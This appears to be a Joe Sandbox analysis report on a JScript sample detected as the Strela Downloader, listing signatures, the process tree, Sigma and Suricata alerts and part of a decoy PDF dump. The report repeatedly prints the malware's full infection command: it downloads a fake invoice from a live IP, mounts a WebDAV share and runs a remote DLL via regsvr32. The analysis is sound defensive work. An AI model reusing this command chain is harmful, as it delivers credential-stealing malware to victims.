Edit tour

Windows Analysis Report
19559251331544623964.js

Overview

General Information

Sample name:	19559251331544623964.js
Analysis ID:	1589051
MD5:	81ed61a01196b5c823aeec69d8382263
SHA1:	07233af0c45c535804e89d686d726cb927559698
SHA256:	75d30e1f4b7ddc442ed9791420e01759b29b2f1544afe09271639a019019f126
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7376 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7472 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7520 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7724 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7932 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8132 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1712,i,18150883577437522717,16331206020707131605,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7760 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7828 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7992 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7376	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", ProcessId: 7376, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7828, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49725

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7376, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7376, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7376, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7376, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7376, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", ProcessId: 7376, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7760, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7828, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7992, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7760, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7828, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19559251331544623964.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7376, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7472, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:52:30.485537+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.11	49709	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:52:33.132783+0100	1810005	1	Potentially Bad Traffic	192.168.2.11	49725	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:52:30.485537+0100	1810000	2	Potentially Bad Traffic	192.168.2.11	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 19559251331544623964.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 19559251331544623964.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 19559251331544623964.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.11:49725 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.11:49709 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:52:30 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

